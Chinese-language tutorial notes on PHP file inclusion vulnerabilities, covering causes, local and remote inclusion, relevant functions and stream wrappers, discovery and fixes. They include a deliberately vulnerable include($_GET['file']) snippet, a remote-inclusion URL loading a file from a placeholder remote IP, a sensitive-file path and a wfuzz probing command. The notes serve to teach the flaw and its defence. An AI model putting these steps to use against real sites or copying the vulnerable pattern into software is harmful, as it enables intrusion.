文件包含漏洞
1. 原理
1.1 为什么包含文件
包含内容:页头,页脚
包含函数:公共函数
减少重复编码,便于维护
1.2 原理
文件包含漏洞的原理是在Web应用程序中使用了不安全的文件包含函数(如include()、require()等),并且未对用户输入进行充分验证和过滤。攻击者可以利用这个漏洞来包含恶意文件并执行恶意代码。
文件包含漏洞通常发生在以下情况下:
- 未对用户输入进行验证和过滤:如果Web应用程序使用用户提供的输入来包含文件,而未对输入进行充分验证和过滤,攻击者可以通过构造恶意文件名来利用漏洞。
- 使用动态文件包含函数:动态文件包含函数(如include()、require())允许开发人员根据用户提供的输入包含不同的文件。如果开发人员未正确验证和过滤用户输入,攻击者可以通过注入恶意文件名来执行恶意代码。
以下是一个简单的示例,演示了一个可能存在文件包含漏洞的PHP代码:
<?php
$file = $_GET['file']; // 从用户输入获取文件名
include($file); // 包含用户指定的文件
?>
1.3 分类
本地文件包含Local file Inclusion
固定包含:<?php include 'example.php';?>
通过接口动态包含:?file=example.php
包含恶意代码或图片码
包含敏感文件 C:\Windows\system.ini
远程文件包含Remote file inclusion
配置:allow_url_fopen allow_url_include
访问:http://localhost/fileinc/include.php?file=http://远程IP/1.txt
2. PHP函数
include()
include_once() 只会包含一次,如果该文件已经被包含了就不回再包含,返回true
require() 与include()几乎一样,require()产生错误会终止允许
require_once()
fopen() 打开文件
readfile() 输出文件
highlight_file()高亮
show_source() 与highlight_file一样
file_get_content() 读取内容输出字符串
file() 读取文件
伪协议:伪协议是一种在PHP中用于访问不同资源的特殊协议格式,可以用于包含远程文件、读取本地文件等操作。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams) php://input
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
3. 利用与挖掘
URL中出现page,file,filename,include等等关键词
URL出现文件名
LFI Suite FUZZ
wfuzz -w dir ip?file=FUZZ (看结果)
4. 修复方案
1、PHP配置
2、禁用动态包含
3、过滤协议、目录字符
4、设置文件白名单